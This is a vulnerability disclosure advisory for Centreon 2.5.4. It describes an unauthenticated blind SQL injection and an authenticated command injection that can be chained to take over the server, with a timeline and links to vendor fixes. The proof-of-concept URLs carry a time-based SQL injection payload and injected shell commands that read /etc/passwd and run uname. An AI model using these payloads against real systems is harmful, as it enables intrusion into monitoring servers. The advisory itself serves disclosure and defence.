Merethis Centreon 2.5.4 SQL Injection / Remote Command Execution

`Merethis Centreon - Unauthenticated blind SQLi and Authenticated Remote Command Execution  
  
CVEs: CVE-2015-1560, CVE-2015-1561  
  
Vendor: Merethis - www.centreon.com  
Product: Centreon  
Version affected: 2.5.4 and prior  
  
Product description:  
Centreon is the choice of some of the world's largest companies and mission-critical organizations for real-time IT performance monitoring and diagnostics management. (from https://www.centreon.com/en/)  
  
Advisory introduction:  
Centron 2.5.4 is susceptible to multiple vulnerabilities, including unauthenticated blind SQL injection and authenticated remote system command execution.  
  
Credit: Huy-Ngoc DAU of Deloitte Conseil, France  
  
================================  
Finding 1: Unauthenticated Blind SQL injection in isUserAdmin function (CVE-2015-1560)  
================================  
Vulnerable function is "isUserAdmin" (defined in include/common/common-Func.php), in which unsanitized "sid" GET parameter is used in a SQL request.  
  
PoC:  
https://example.domain/centreon/include/common/XmlTree/GetXmlTree.php?sid=%27%2Bif(1%3C2,sleep(1),%27%27)%2B%27  
https://example.domain/centreon/include/common/XmlTree/GetXmlTree.php?sid=%27%2Bif(1%3C0,sleep(1),%27%27)%2B%27  
  
By exploiting CVE-2015-1560, an attacker can obtain among others a valid session_id, which is required to exploit CVE-2015-1561.  
  
================================  
Finding 2: Authenticated Command Execution in getStats.php (CVE-2015-1561)  
================================  
$command_line variable, which is passed to popen function, is constructed using unsanitized GET parameters.  
  
PoC (a valid session_id value is required):  
- Reading /etc/passwd by injecting command into "ns_id" parameter:  
http://example.domain/centreon/include/Administration/corePerformance/getStats.php?ns_id=|+more+/etc/passwd+%23&key=active_service_check&start=today&session_id=[valid session_id]  
- Injecting "uname –a" into "end" parameter:  
http://example.domain/centreon/include/Administration/corePerformance/getStats.php?ns_id=1&key=active_service_check&start=today&end=|+uname+-a+%23&session_id=[valid session_id]  
  
Combining two vulnerabilities, an unauthenticated attacker can take control of the web server.  
  
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Timeline  
================================  
26/01/2015 - Vulnerabilities discovered  
29/01/2015 - Vendor notified  
05/02/2015 - Vendor fixed SQLi   
13/02/2015 - Vendor fixed RCE  
  
References  
Vendor fixes:  
- SQLi : https://forge.centreon.com/projects/centreon/repository/revisions/d14f213b9c60de1bad0b464fd6403c828cf12582  
- Command execution : https://forge.centreon.com/projects/centreon/repository/revisions/d14f213b9c60de1bad0b464fd6403c828cf12582  
  
  
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